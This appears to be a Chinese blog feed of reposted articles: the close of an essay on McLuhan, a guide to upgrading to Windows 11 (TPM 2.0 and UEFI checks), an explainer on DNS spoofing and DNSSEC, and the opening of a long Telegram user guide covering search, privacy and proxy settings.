所以我不太同意「麦克卢汉建立了一个具有结构层次的“媒介环境”」的说法,事实上,对“媒介环境”的细分只是麦氏身后人的创造,所谓“社会环境、符号环境、感知环境”的提法出自林文刚的总结,是学派建制化的需要。要知道,麦克卢汉的理论并非是结构化鲜明的建构,更多是以创见和整体化描述为主,不能列出个1.2.3.4.5,这无论如何都是对他思想的一种矮化。我想说,用“媒介环境”来解释“媒介即讯息”只是文不对题、以偏概全。
总结而言,麦克卢汉的“媒介即讯息”强调的是媒介形式对人与社会发展的重要决定作用,在以关注“内容”为主要取向的传播学界,麦克卢汉让人们开始重视媒介形式本身的影响力。对传播学而言,麦克卢汉开辟了传播研究的媒介转向,让传播学不至于陷入效果研究的狭隘框架之中,并且为媒介环境学派的出现奠定理论基础、确立学科合法性。时至今日,麦克卢汉的准确预见和深刻洞见对互联网时代的特征充满解释力,让我们得以更加深刻地认识媒介化社会的媒介本质,由此也对麦氏理论更为重视。
而这一切,都源于一个年逾半百的加拿大学者在《理解媒介》的草稿纸上写下这几个字:“媒介,即讯息”。
]]>本文转自: https://sspai.com/post/67498
本周,Windows 11 开始通过 Windows Insider Dev 通道向部分用户进行推送,但想要尝鲜却被 Windows 11 拒之门外的用户不在少数。
Windows 11 对设备的硬件配置究竟有什么要求,你的设备如何升级到 Windows 11?
基于微软目前给出的相关文档、信息和部分用户的实际体验,本文整理了 Windows 11 尝鲜相关的常见问题,希望能够为你提供一些参考。
Windows 11 的首个预览版本 22000.51 已于 6 月 29 日面向 Windows Insider 推送,如果你的设备满足硬件配置要求,同时加入了 Windows 预览体验计划的 Dev 渠道,直接在设置中检查更新即可通过 OTA 升级,步骤与常规系统更新无异。
当然,预览版本的稳定性逊于正式版,Dev 渠道的代码未经过严格的可靠性验证,有较大几率出现影响正常使用的 bug。如果 Windows 是你的主要操作系统,我建议等待 Beta 渠道或 Release Preview 渠道开放后再考虑升级,不要贸然使用生产力设备尝鲜。
目前微软并未公布 Windows 11 正式版的具体推送日期,仅表示将在今年晚些时候推出,正在运行 Windows 10 的设备将在 2022 年上半年收到免费更新。
但发布会上的诸多暗示,以及沃尔玛等零售商的宣传语都指向了同一时间点。比如 The Verge 发布的一篇 报道 就指出,Windows 11 的正式推送时间或许会在今年 10 月,因为在不久前的 Windows 发布会中微软埋下了多处暗藏 Windows 11 正式推送日期的细节,包括 Microsoft Teams 对话消息、任务栏时间、日历事件、OneDrive 照片回顾等等,这些截图中的日期都指向了 2021 年 10 月 20 日。
和当年的 Windows 10 类似,微软为推广 Windows 11 又一次祭出了「免费升级」大法,上一次是 Windows 7 和 Windows 8.x 的消费级版本可以免费升级至 Windows 10,这一次则是「符合要求的 Windows 10」可以免费升级到 Windows 11。
虽然都是免费的跨版本升级,措辞的变化也暗示着 Windows 11 对我们的设备有了新要求。
从这张最新的 Windows 11 系统要求中不难看出,要想「符合要求」并获得免费升级其实存在一定的硬件门槛。首先是 Windows 11 不存在 32 位版本,因此处理器必须支持 64 位,对应的就是内存达到 4GB 以上,存储空间也至少为 64GB。
但真正的难点,也是这次卡住很多人的关键,则是支持 UEFI 安全启动以及受信任的平台模块 (TPM) 2.0 版本。
因为当年需要让 Windows 7 和 Windows 8.1 用户平滑升级,因此 Windows 10 的最低系统要求几乎延续了 Windows 7 的要求,包括并不强制要求 UEFI 安全启动(Only UEFI)。
情况在 Windows 11 这里有了变化。
简单来说,在 Windows XP 时代我们只有 BIOS 启动,对应的磁盘分区结构则是 MBR,这样的结构一方面安全性较差,很多恶意程序可以在系统启动前就加载,另一方面最高也只能够支持到四个主分区,最高支持硬盘容量为 2TB。
因此之后就出现了 BIOS 的高级版本 UFEI,对应的分区表也采用了更新的 GPT。虽然 UEFI 在 2007 年就已经出现了,由于 Windows 7 开发时并没有成为标准,2012 年以后的 PC 虽然大多出厂就带有 UEFI 支持,为了兼容性(安装 Windows 7)还是会允许用户打开 Legacy 兼容模式来安装 Windows 7 或 32 位操作系统。
而到了 Windows 11 ,因为只支持 64 位操作系统,从安全性考虑就只允许采用 UEFI 安全启动的方式进行引导,也就是在系统 BIOS 中设置为「only UEFI」并且关闭 Legacy 兼容模式,这样才能正常的安装、运行 Windows 11。
UEFI 支持其实并不是这一次 Windows 11 系统要求中最为苛刻的,更苛刻的是系统最低要求中强制需要可信平台模块 2.0(TPM 2.0)。TPM 中文名叫做可信平台模块,英文 Trusted Platform Module,简单来说就是一个以硬件形式处理设备加密的工具,可以保护当前硬件设备的数据不被破解。
目前市面上的电脑如果支持 TPM ,一般上分为两种:
在很多的品牌主板上都有集成,比如如果是 Intel 处理器上的主板,那么在 BIOS 里面会有个 Intel Platform Trust Technology 设置项目,而 AMD 处理器的主板有个类似的叫做 fTPM。它们都是属于集成的 TPM,如果你有相关设备,升级前记得打开即可。
有些主板中并没有集成Intel PTT或者 AMD 的 fTPM,那么就需要使用单独的芯片模块来实现 TPM 加密了。这个小模块通过针脚和主板进行通信,从而实现 TPM 功能。
当然微软也并没有完全说死 TPM 2.0 的支持,考虑到 OEM 设备商的利益(很多厂商从法律法规或利润最大化的角度并不会安装 TPM),微软在其最新的一版硬件需求说明文档中进行了特殊备注,表示可以允许经过其认证的设备在没有安装 TPM 2.0 的情况下预装 Windows 11 出货,因此最终的硬件支持上还要等待下半年正式版发货才能最终确定。
微软在 Windows 11 发布活动的第一时间推出过一款硬件检查软件「电脑健康状况检查工具」,方便用户检测当前的设备是否满足升级到 Windows 11 的硬件需求。
打开软件之后点击「立即检查」就可以识别当前的硬件是否支持升级到 Windows 11,发布之初,这款工具并不会指出不符合的硬件到底哪一项不符合,虽然在之后的更新中解决,但微软还是决定暂时下线检查工具,进一步完善后重新推出。现在,我们可以通过一款第三方应用来进行检测。
这款名为「WhyNotWin11」的检查工具相比微软的检查工具提供了更为全面的信息,既包括了硬件中不符合最低硬件标准的信息项目,也包含了显卡支持等情况,相对来说信息要更为准确详细。
纵使系统硬件不支持,但我们依然可以使用各种「方法」升级到 Windows 11。但可以升级到 Windows 11 不代表万事大吉,微软将会在未来限制这些硬件能否使用正式版 Windows 11,甚至完全不满足的设备连 dev 测试版都将不再推送。
如果你已经在 Insider 中了,那么你可以通过「设置」- 「Windows 更新」-「Windows 预览体验计划」的提示信息查看自己的电脑是否符合正式版的需求还是只能呆在测试版。目前有三种情况:
本次 Windows 11 Dev 测试中,所有种类的 CPU 和是否具备 TPM 的电脑都将可以参与测试,但只要不支持 TPM 那么在「Windows 预览体验计划」的提示信息一定是红色的;未来正式版只推送给具备 TPM 2.0 和具备 兼容 处理器的电脑,当然也不排除 下放 给 7 代 Intel 和 AMD Zen 1 处理器的可能性。
鉴于上面提到的升级条件,你的设备如果在升级时遇到了阻碍,不妨先使用按照以下流程检查一下 TPM 相关原因:
若想了解当前设备是否支持 TPM,最简单的方法是以管理员身份运行 PowerShell,键入 Get-Tpm 指令并回车。TpmPresent 的值为 True 则代表硬件已集成 TPM 组件,TpmReady 为 True 代表 TPM 符合系统标准,其它信息的含义可参考 微软官方文档。
命令行提示不支持也不必灰心,让我们首先确认主板型号。使用快捷键 Win+R 然后运行 Msinfo32 打开系统信息面板,然后就能在右侧窗格中找到主板制造商和主板产品:
如果你和我一样使用的是 OEM 主机,获取到主板型号后可能还需要在相关品牌官网给出的信息中进一步查看实际主板型号,比如这里惠普 843B 主板对应的实际型号就是 Intel H370:
通过对 Intel H370 的主板信息进行检索可以进一步获悉,这块主板默认是支持 TPM 加密的,因此不排除 BIOS 屏蔽了相关选项。于是在进入 BIOS 并开启 TPM 开关后,我的设备成功满足了 Windows 11 Insider 的所有配置要求。
扫清硬件障碍后,请打开「设置」,依次进入「更新和安全」-「Windows 预览体验计划」,按提示加入「Dev 渠道」,再次检查更新,即可无缝升级至 Windows 11。成功上车后,在其它渠道开放前无法切换测试组,全新安装才能降级到稳定版本,请务必留心。
即使你的设备不满足 Windows 11 的全部硬件要求,也可以通过 Windows 预览体验计划暂时绕过限制。微软表示,6 月 24 日前加入 Dev 渠道的先行者们甚至可无视 TPM,继续收到更新推送。这一部分用户反馈的问题会被标记为「在不兼容设备上运行」,提交的 bug 可能不会被修复。
据微软说辞,Windows 11 正式发布后,不符合条件的设备会被踢出 Windows 预览体验计划,必须重新降级至 Windows 10——考虑到微软的作风,我对这条政策的实际执行力度持保留看法。但保不准微软这次就巨硬了,届时还想升级的话,手动安装镜像文件是个好方法。
跨越版本号的重大系统更新,最稳妥的方法还是通过 ISO 镜像文件手动安装。由于微软尚未释出 Windows 11 的官方镜像文件,在本文发布的时间点,少数派不建议采用此方式升级,并提醒大家注意网络镜像版本与来源,避免个人数据丢失等意外情况出现。
你可以在 这里 检查官方 Windows 预览版本镜像,出现 Windows 11 选项后根据个人需求下载,选择保留数据或全新安装。
首先是更现代更好看的设置界面,除了新图标,设置背景还采用了 云母石 的材质,把原本单调的背景变得更加生动。而且相比于旧版空旷的设置界面,新的设置界面信息密度明显更高;还有常驻于侧边栏的一级设置,方便用户快速回到上级菜单或是跳转到其他设置中。最后,新的设置对可以点击的地方做了箭头指示,相比旧版更加清晰明了。当然控制面板目前还在。
接下来就是日常中用得多的文件管理器也焕然一新,不仅把老旧的 Ribbon 组件给全部砍掉了,还用上了云母石材质和新的图标设计,显得更加简约简约现代。此外,系统级右键菜单也得到了改进全新的设计,变得更加直观明了;当然目前新右键菜单的功能并不算完善,如果想要访问旧版菜单可以使用新版菜单下的「显示更多选项」。
再者就是一些细节上的更新了,比方说通知中心、日期时间面板、快捷操作面板和输入法的重构,让整体可读性和易用性变得更好了。系统默认的终端也变成了更现代的 Windows Terminal;AutoHDR 也对部分游戏启用了,打开支持的游戏时会有启用通知。
最后,Windows 11 中的音效也有不小的改进,总得来说就是更加悦耳了,大家可以去网上找找有关视频。
Windows 11 砍掉了不少来自 Window 10 的特性,下面我们一起来梳理下这些被砍掉的「新」功能。
首先是,Windows 10 刚推出时被赋予重任的语音助手 Cortana 终于不预装在系统里了,不仅是首次配置向导中不会被突如其来的语音吓到,任务栏上也不会出现用不到的图标了。喜欢 Cortana 的小伙伴依然即可从 Windows 11 的应用商店下载到它。
其次,IE 在 Windows 11 中正式被禁用,这意味着长达 25 年的浏览器正式下岗了。微软建议由 IE 使用需求的用户用 Microsoft Edge 的 IE 模式替代。不过话又说回来,目前不少政府的系统已经面向 Chrome 类浏览器开发了,大部分使用 IE 的场景都是为了用网银系统,希望国内的银行可以赶紧跟进。
再者 Windows 10 的时间轴功能也被砍了。时间线是 18 年 4 月份引入的功能,它能帮你记录你在什么时间在电脑上做了什么,方便你回溯操作。然而实际体验真的差到不行,操作界面不仅卡顿,而且大部分软件还不支持时间线的功能,甚至是第一方应用窗口截图都是空白的。现在在 Windows 11 里这个功能被彻底砍掉了。
最后由于 Windows 11 采用了新的开始菜单和任务栏,所以不少我们熟知的功能也都不见了,比如:动态磁贴、可对开始菜单调整大小、应用程序组等,而且任务栏目前也只能固定在屏幕底部,21H1 中加入的新闻与兴趣也被重新集成到小部件里了;此外平板模式也从 Windows 11 里移除了,新功能将体现在键盘的连接和分离状态中。
其他被砍掉的功能可以看 这里。总的来说 Windows 11 砍掉了不少 Windows 10 的特性,但是更早以前系统的组件却还保留着,让人不禁怀疑 Windows 11 是不是到头来什么都没有更新。
如果你在更新后遇到了部分应用内文字乱码、游戏无法启动等问题,不妨检查一下「时间 & 语言 > 语言 & 区域」设置中的「管理语言设置」选项,确保其中「非 Unicode 程序的语言」为 中文(简体, 中国)。这个操作对部分应用和游戏有效(比如《英雄联盟》)但不保证能够解决所有问题。
除此之外,目前 Windows 11 Dev 频道的预览体验版本还有着诸多其他问题,如多账户用户在升级后无法启动设置界面、搜索界面偶尔无法正常加载图标等等。你可以在微软官方 博客 的末尾查看这些问题,再决定是否升级。
本文转自:https://guozeyu.com/?p=2519
续之前的域名解析系统详解——基础篇,DNSSEC 是一组使域名解析系统(DNS)更加安全的解决方案。1993 年,IETF 展开了一个关于如何使 DNS 更加可信的公开讨论,最终决定了一个 DNS 的扩展——DNSSEC,并于 2005 年正式发布。然而,实际推行 DNSSEC 是一件非常难的事情,本文将讨论一下现有 DNS 系统所存在的一些不安全性,以及 DNSSEC 是如何解决这些问题的。
从上一篇文章中已经知道,在你访问一个网站,比如 www.example.com 时,浏览器发送一个 DNS 消息到一个 DNS 缓存服务器上去查询,由于 DNS 系统的庞大,这中间还需要经过好几层 DNS 缓存服务器。想要正确访问到这个网站,就需要这所有的缓存服务器都要正确的响应。
DNS 查询是明文传输的,也就是说中间人可以在传输的过程中对其更改,甚至是去自动判断不同的域名然后去做特殊处理。即使是使用其他的 DNS 缓存服务器,如 Google 的 8.8.8.8,中间人也可以直接截获 IP 包去伪造响应内容。我可以给大家演示一下被中间人攻击之后是什么个情况:
$ dig +short @4.0.0.0 facebook.com
243.185.187.39
向一个没有指向任何服务器的 IP 地址:4.0.0.0 发送一个 DNS 请求,应该得不到任何响应。可是实际上却返回了一个结果,很明显数据包在传输过程中“被做了手脚”。所以如果没有中间人攻击,效果是这样的:
$ dig +short @4.0.0.0 facebook.com
;; connection timed out; no servers could be reached
DNS 系统就是这么脆弱,和其他任何互联网服务一样,网络服务提供商、路由器管理员等均可以充当“中间人”的角色,来对客户端与服务器之间传送的数据包进行收集,甚至替换修改,从而导致客户端得到了不正确的信息。然而,通过一定的加密手段,可以防止中间人看到在互联网上传输的数据内容,或者可以知道原始的数据数据是否被中间人修改。
讲到 DNSSEC,就不得不讲到一些密码学的知识。这里从最基本的密码学开始讲起。
密码学主要分为三大类,这里也列出每一列常用的加密算法:
在 DNSSEC 中,主要使用到的是公钥密码学和数据完整性算法两种加密学。
公钥密码主要是与对称密码进行区分:对称密码的加密与解密使用相同的密钥;而公钥密码使用的加密密钥叫做公钥,解密密钥叫做私钥——两种密钥相对独立,不能替代对方的位置,而且知道公钥无法推出私钥。这两种密码学都必须是可逆的(所以解密算法可以看作加密算法的逆)。以函数的形式表达的话如下:
密文 = 加密算法(公钥, 原文)
原文 = 解密算法(私钥, 密文)
当然,如果私钥充当公钥,公钥充当私钥,那么就是这样的:
密文 = 加密算法(私钥, 原文)
原文 = 解密算法(公钥, 密文)
假如服务器要向客户端发送一段消息,服务器有私钥,客户端有公钥。服务器使用私钥对文本进行加密,然后传送给客户端,客户端使用公钥对其解密。由于只有服务器有私钥,所以只有服务器可以加密文本,因此加密后的文本可以认证是谁发的,并且能保证数据完整性,这样加密就相当于给记录增加了数字签名。但是需要注意的是,由于公钥是公开的,所以数据只是不能被篡改,但可以被监听。
此处的服务器如果是充当 DNS 服务器,那么就能给 DNS 服务带来这个特性,然而一个问题就出现了,如何传输公钥?如果公钥是使用明文传输,那么攻击者可以直接将公钥换成自己的,然后对数据篡改。
所以,一个解决的方法是使用一个被公认的公钥服务器,客户端的操作系统中在本地先存好这个公钥服务器自身的公钥。当与服务器通信时,客户端从这个被公认的公钥服务器通信,用户使用操作系统中内置的公钥来解密获得服务器的公钥,然后再与服务器通信。
然而 DNS 是一个庞大的系统,在这个系统中根域名服务器充当了被公认的公钥服务器,其中每一个一级域名服务器也是一个子公钥服务器。这就是 DNSSEC 的基本雏形了。
在密码学中,还存在一种检查数据完整性的算法,其 “加密” 无须密钥,密文不可逆(或很难求逆),而且密文与原文不是一一对应的关系。而且,通过此算法算出的密文通常是一个固定长度的内容。通过此算法算出的密文叫做哈希值。在 DNSSEC 里所运用到它的特性是:原文一旦修改,密文就会发生变化。
公钥密码学存在的一个很重要的问题:加密和解密的速度相对于对称密码太慢了。所以想要提高性能,就需要减短需要加密和解密的文本。如果只是对文本的哈希值加密,由于长度的减短,加密速度就能大大提高。
在服务器传送时,同时传送明文的文本和使用私钥加密的文本哈希值;客户端只需要先算出收到的明文文本的哈希值,然后再用公钥解密密文,验证两个值是否相等,依然能够防止篡改。
在 DNSSEC 中就运用了这种方法,无论是对密钥还是记录的加密。
DNSSEC 这一个扩展可以为 DNS 记录添加验证信息,于是缓存服务器和客户端上的软件能够验证所获得的数据,可以得到 DNS 结果是真是假的结论。上一篇文章讲到过 DNS 解析是从根域名服务器开始,再一级一级向下解析,这与 DNSSEC 的信任链完全相同。所以部署 DNSSEC 也必须从根域名服务器开始。本文也就从根域名服务器讲起。
DNSSEC 和 HTTPS 是两个完全不同的东西,但是这里只是对其加密方式对比。即 DNSSEC 的加密方式与 TLS 进行对比。
在配置 DNSSEC 的时候,如果与 HTTPS 比较,可以看出来:证书和私钥全部都是在自己的服务器上直接生成的,也就意味着这是 “自签名的”,不需要任何 “根证书颁发商”。二级域名所有者向一级域名注册商提交自己的公钥的哈希值,然后一级域名注册商就会给你的哈希值进行签名,从而也能形成一道信任链,远比 HTTPS 的信任链简单,操作系统也再不用内置那么多个 CA 证书,只需要一个根域名的 DS 记录即可。个人认为这是一个更先进的模式,但是它需要客户端一级一级的去依次解析,于是受到了速度的影响;HTTPS 则是直接由一个服务器返回整条证书链,与服务器进行 HTTPS 的连接时只需要与一个服务器通信。不过,DNS 记录是可以被缓存的,所以能够一定程度上的减少 DNSSEC 的延迟。
你发往 DNS 服务器的请求是明文的,DNS 服务器返回的请求是带签名的明文。这样 DNSSEC 只是保证了 DNS 不可被篡改,但是可以被监听,所以 DNS 不适合传输敏感信息,然而实际上的 DNS 记录几乎都不是敏感信息。HTTPS 的话会同时签名和双向加密,这样就能够传输敏感信息。
DNSSEC 的只签名,不加密主要是因为 DNSSEC 是 DNS 的一个子集,使用的是同一个端口,所以是为了兼容 DNS 而作出的东西,而 DNS 是不需要客户端与服务器建立连接的,只是客户端向服务器发一个请求,服务器再向客户端返回结果这么简单,所以 DNS 都可以使用 UDP 来传输,不需要 TCP 的握手,速度非常快。HTTPS 不是 HTTP 的子集,所以它使用的是另一个端口,为了做到加密,需要先与浏览器协商密钥,这之间进行了好几次的握手,延迟也上去了。
刚才所讲述的所有情况,都是在没有 DNS 缓存服务器的情况下。如果有 DNS 缓存服务器呢?
实际上,一些 DNS 缓存服务器就已经完成了 DNSSEC 验证,即使客户端不支持。在缓存服务器上验证失败,就直接不返回解析结果。在缓存服务器进行 DNSSEC 验证,几乎不会增加多少延迟。
但这也存在问题,如果缓存服务器到客户端之间的线路不安全呢?所以最安全的方法是在客户端上也进行一次验证,但这就会增加延迟了。
DNSSEC 相比 HTTPS 的一个特性就是 DNSSEC 是可以被缓存的,而且即使是缓存了也能验证信息的真实性,任何中间人也无法篡改。然而,既然能够缓存,就应该规定一个缓存的时长,并且这个时长也是无法篡改的。
签名是有时效性的,这样客户端才能够知道自己获得到的是最新的记录,而不是以前的记录。假如没有时效性,你的域名解析到的 IP 从 A 换到了 B,在更换之前任何人都可以轻易拿到 A 的签名。攻击者可以将 A 的签名保存下来,当你更换了 IP 后,攻击者可以继续篡改响应的 IP 为 A,并继续使用原本 A 的签名,客户端也不会察觉,这并不是所期望的。
然而在实际的 RRSIG 签名中,会包含一个时间戳(并非 UNIX 时间戳,而是一个便于阅读的时间戳),比如 20170215044626,就代表着 UTC 2017-02-15 04:46:26,这个时间戳是指这个记录的失效时间,这意味着在这个时间之后,这个签名就是无效的了。时间戳会被加进加密内容中去参与签名的计算,这样攻击者就无法更改这个时间戳。由于时间戳的存在,就限制了一个 DNS 响应可以被缓存的时长(时长就是失效时间戳减去当前时间戳)。然而,在有 DNSSEC 之前,控制缓存时长是由 TTL 决定的,所以为了确保兼容性,这两个时长应该是完全一样的。
通过这样做,即能够兼容现有的 DNS 协议,有能够保证安全,还能够利用缓存资源加快客户端的请求速度,是一个比较完美的解决方案。
其实,即使完全不了解,或者没看懂上面的内容,也不影响你去部署 DNSSEC,只不过你应当非常仔细的对待它,稍有不慎可能导致用户无法解析的情况。
由于是使用第三方的 DNS,部署 DNSSEC 就必须需要第三方支持。常见的支持 DNSSEC 的第三方 DNS 有 Cloudflare、Rage4、Google Cloud DNS(需要申请)、DynDNS 等。开启 DNSSEC 前首先需要在第三方服务上激活 DNSSEC,这样第三方 DNS 才会返回关于 DNSSEC 的记录。
在第三方的 DNS 上激活了 DNSSEC 之后,第三方会给你一个 DS 记录,大概长这样:
tlo.xyz. 3600 IN DS 2371 13 2 913f95fd6716594b19e68352d6a76002fdfa595bb6df5caae7e671ee028ef346
此时,你就需要前往域名注册商,给你的域名提供这个 DS 记录(有些域名注册商可能不支持添加 DS 记录,此时你可以考虑转移到本站的域名注册商或者其他支持 DS 记录的注册商。此外,一些域名后缀也不支持添加 DS 记录,建议你使用主流后缀,如 .com 等,此处就以本站的域名注册商为例):
添加然后保存,一切就 OK 了。注意关键标签(Key Tag)就是 DS 记录里的第一项(此处对应的是 2371),算法(Algorithm)就是第二项(此处对应的是 13),算法类型(Digest Type)就是第三项(此处对应的是 2),整理分类(Digest)就是最后一项。剩下的内容不需要填写。
有的第三方 DNS(比如 Rage4)会给你一下子提供多个 DS 记录(相同的关键标签但是不同的算法和算法类型),然而你不需要都填写上。我建议只填写使用算法 13 与类型 2 或者算法 8 类型与类型 2 的 DS。这两个分别是 Cloudflare 推荐的参数和根域名目前所使用的参数。填写多个 DS 记录不会给你带来多少的安全性提升,但可能会增大客户端的计算量。
使用自建 DNS 首先需要先生成一对密钥对,然后将其添加到 DNS 服务中去。我已经介绍了关于 PowerDNS 的添加 DNSSEC 的方法。
在此之后,你需要生成 DS 记录,通常你生成 DS 记录也是很多个,和第三方 DNS 一样,我建议只向域名注册商提交使用算法 13 与类型 2 或者算法 8 类型与类型 2 的 DS。
本文转自:https://tingtalk.me/telegram/
电报是迄今为止最棒的即时聊天软件,在这个自由新世界,不必自我审查(Freedom of speech)。
🧱 TG 在中国大陆必须 翻墙 后才能使用。不过,学会科学上网,难道不是当代数字公民的必备技能吗?
📁 tingtalk.me 在 2020-04-04 被墙了,如需在墙内传阅,请下载本文的 PDF 或前往 GitHub 阅读(也是可编辑的 Markdown 源文档)。
💡 全文有两万三千多字,善用右侧的目录栏和查找功能(Ctrl
+ F
),助你快速定位想要看到的内容。你也可以移步到 电报内阅读此文的精简版。
2013 年 5 月 20 日,斯诺登向《卫报》媒体透露棱镜计划(PRISM):
我愿意牺牲掉这一切(工作、收入和女朋友)(把真相告诉世人),因为美国政府利用他们正在秘密建造的这一个庞大监视机器摧毁隐私、互联网自由和世界各地人们的基本自由的行为让他良心不安。by Edward Snowden
许多人第一次意识到 Ta 们的数字通信遭到了监视(The year Telegram was born was marked by the Snowden Revelations, when many people realized for the first time their digital communications were being watched.)。
2013 年 8 月 14 日,杜洛夫兄弟(Pavel Durov 和 Nikolai Durov)正式发布了开源(Open Source)的 Telegram(特指客户端)。这个充满理想主义的软件不接受外部投资(不需要向任何股东负责),也不会通过广告盈利,且挣钱永远不会是 Telegram 的终极目标(Making profits will never be an end-goal for Telegram),所以 Telegram 至今没有向第三方披露过一个字节的用户私人数据。Telegram 只会默默地践行一个理念:这个星球上的每个人都享有自由的权利(Everyone on the planet has a right to be free.)。This is the Telegram way:
We believe that humans are inherently intelligent and benevolent beings that deserve to be trusted; trusted with freedom to share their thoughts, freedom to communicate privately, freedom to create tools. This philosophy defines everything we do. 我们相信人类天生就是聪明和仁慈的,值得信任的;坚信人类可以自由地分享想法,自由地私下交流,自由地创造工具。 这种哲学定义了我们所做的一切。by Pavel Durov
截止 2020 年 12 月 23 日,Telegram 已有 5 亿月活跃用户。
欢迎访问 Feature Suggestion Platform,向 Telegram 提交缺陷报告和功能建议(Bugs and Suggestions),一起帮扶 Telegram 做大做强。
毕竟是国外的软件,所以有一些水土不服也是可以理解的。以下方法可以助你更快地找到聊天记录和频道信息。
Telegram 的中文搜索是以「词组」为单位的,以标点符号或空格作为词的间隔。
辜鸿铭说过:真正的自由,并不意味着可以随心所欲,而是可以自由地做正确的事情。
在搜索框输入:
真正的自由
并不意味着可以随心所欲
而是可以自由地做正确的事情
都可搜到这条历史信息,因为标点符号充当了分词符。但是这些词未免太长了吧?!也记不住呀。不过别忘了 Telegram 分词规则,我们可以手动添加多余的标点符号(例如井号 #
)或空格来分词:
#辜鸿铭 说过:真正的 #自由,并不意味着可以随心所欲,而是可以自由地做正确的事情。
点击以下词组,或者在搜索框输入:
#辜鸿铭
#自由
都可以找到这句话。建议频道主在发布内容的时候,用 #
打上相应的标签,方便订阅者找到想要的信息。
嫌手动分词太麻烦了?那就在电脑上导出 HTML 或 JSON 格式的聊天记录,想怎么搜就怎么搜。
不过,已经有人向 Telegram 提交了 改善中文搜索的提案,所以请为这个 Suggestion 投票和鼓气。拜托了。
关联阅读
在加密通信「庇护」下的土壤,滋生了臭名昭著的网络性犯罪案件:N 号房事件。所幸的是,2020 年 11 月 26 日,主犯赵主彬一审判处监禁 40 年。
以及存在大量的 NSFW 内容、币圈广告和灰色产业链。科技能否向善,在于我们能否约束自己内心的 邪念。
而且,添加陌生人到通讯录(Add to contacts),记得每次都要取消勾选 Share my phone number with ***
。Telegram 在这个方面上没有记住用户习惯,不应该呀,我去反馈反馈。
另外,如果你的手机号码,被某人保存在 Ta 的手机通讯录,Ta 也开放了通讯录给 Telegram。当你用这个手机号码注册 Telegram 后,Ta 就会第一时间知道你也加入 Telegam 了。所以对隐私有要求,请使用无需实名的虚拟号码或者单独小号来注册。
我与 Telegram 的结缘,始于 2016 年春。那时我刚学会了科学上网,并下载了 Telegram 这个 Instant Messaging app。虽然我在电报上找不到朋友和我聊天,但我并没有卸载 Telegram,因为相比输入法和微信,Telegram 提供了丰富的 Emoji 供我选择。如此一来,我在 Android 手机上也能使用最新的 Emoji 点缀朋友圈。
近年来,天下苦微信久矣。
注册微信的时候,用户会默认同意 腾讯微信软件许可及服务协议 ,其中在 7.1.2 提到一个霸王条款:「微信帐号的所有权归腾讯公司所有,用户完成申请注册手续后,仅获得微信帐号的使用权,且该使用权仅属于初始申请注册人。……」。
用户免费使用微信(无所有权),微信收集用户的私人数据,贩卖给广告商,这无可厚非。但当用户想要取回 Ta 所创造的内容(数字资产)时,例如导出微信个人数据(朋友圈数据和收藏功能数据等),只好借助欧盟的 GDPR(通用数据保护条例)行使数据可携权。于是我花了 5.26 USD(含税)买了一个比利时的手机号码,微信却猖言道:「由于当地法规限制,WeChat 暂不支援中国大陆用户将绑定的手机号码更换为欧盟手机号码。」
请问是哪条「当地法规」?这不是「法制」,而是「Fuck 制」:强奸一个个没有反抗能力的用户!
2020-04-22
原谅我「口吐芬芳」,不懂中国特色。另外,随着言论审查力度的加大,任何「风吹草动」都要「斩草除根」:
经过一系列发生我身上的 屏蔽事件 后,让我意识到中文互联网已经完全沦陷了,于是逃难到 Telegram。经过一段时间的使用后,我彻底成为了 Telegram 的 自来水,见人就夸。然而身边的亲朋好友却不为所动,不愿跟我一起 数字移民 到这个可以安心说话的地方,甘愿做「温室里的花朵」和「笼的传人」,享受表面上的岁月静好。我不会责怪 Ta 们,如果你看过《肖申克的救赎》,就能理解这种「放弃抗争」的心态。
刚入狱的时候,你痛恨周围的高墙,慢慢地,你习惯了生活在其中,最终你发现,自己不得不依靠它而生存。by The Shawshank Redemption
既然说不动认识我的人,但世界那么大,人口那么多,网络世界上一定有一群人,Ta 们和我一样,反感「温室园丁」不透明的做法,不愿做一只数字农场里的电子绵羊,相信「自由价更高」。
我要当一个 踹车轮 的人,为我心中的理想世界投票。因此我熬了几个月,把 Telegram 官网的 FAQ 和 Blog 全部看完了(从 2013 年创立电报至今),结合 Google 搜索引擎旁征博引,整理出这篇可能是中文互联网内容最翔实,排版最精美的《电报指南》,目的就是尽可能地为读者呈现 Telegram 的强大、私密以及友好的用户体验。
在 Durov's Chat 用蹩脚的中式英语给教程做推广,受到 Pavel 的肯定。
2016 年国庆,我花了一周时间看完了「即刻 app」的所有主题(圈子),写了一篇三千多字文章:《即刻 App - 不再错过你感兴趣的资讯》(图文版 | 文字版)。
即刻已经没有复活的可能了(即刻 App 居然在 2020 年 6 月 10 日回来了,但是缺失了话题追踪功能),Telegram 顺势成了新的资讯中心。
人生苦短,逃离微信(Escape from the WeChat)。stay-away-from-wechat 项目收集微信的反人性设计、无理审查行为、侵犯用户隐私、监控聊天记录、试图控制人民生活相关信息,期望用户认识到微信的弊病,倡导用户用脚投票、拒绝使用微信 👎️。欢迎提交 Issues 和 Pull requests 🤖️。
欢迎读者们转移到没有监控和审查的地方 ,一起在这片乐土上过上没羞没臊体面的数字生活。
接下来,就正式进入主题,教读者朋友们电报怎么使用。
请进入 Telegram Apps 的官方下载页面,选择对应的平台,下载,安装,注册。
自由开放的 Telegram 在各平台都有数十种客户端,各有哪些优缺点,又该如何选择呢?请查阅 Telegram 客户端版本比较,但我不推荐使用第三方电报客户端,安全没有保证。
如果你有注册或登录问题
先从 常见登录问题 中寻找方法,无果,联系 Telegram:
如何在电脑上使用 Telegram for Desktop
SETTINGS
(设置)> Connection type
(连接类型)> Use custom proxy
(使用自定义代理)> ADD PROXY
(添加代理),以 Shadowsocks(R) 为例:
127.0.0.1
1080
(不同的翻墙客户端,端口略有不同)使用 Clash 翻墙的用户,可跳过这一步,选择 Use system proxy settings
(使用系统代理设置)。
既然已经出来混了(突破网络墙),首选使用英文版的 Telegram(突破语言墙),好像加起来也没几个单词。要是一点英文底子都没有:
CHANGE
(更改)截至 2020 年 11 月 01 日,Telegram for Android 翻译已完成 95% 了,但不妨碍日常使用。
你可以在 Setting
(设置)里面填写一个 Username
(用户名)。设置后,别人能够在不知道你的电话号码的情况下,通过搜索用户名找到你。
侵权
...
> Report
> Fake Account
联系人
Contacts
(联系人)> Find People Nearby
(寻找附近的人)。你也可以创建一个基于本地的群聊。自由的土壤吸引了比特币、社工库、NSFW 等灰色产业到电报野蛮生长,因为这些国产老鼠屎对电报的滥用,导致使用中国大陆的手机号码(+86)注册 Telegram 后,私聊 Ta 人时,可能会提示 Sorry, you can only send messages to mutual contacts at the momet.
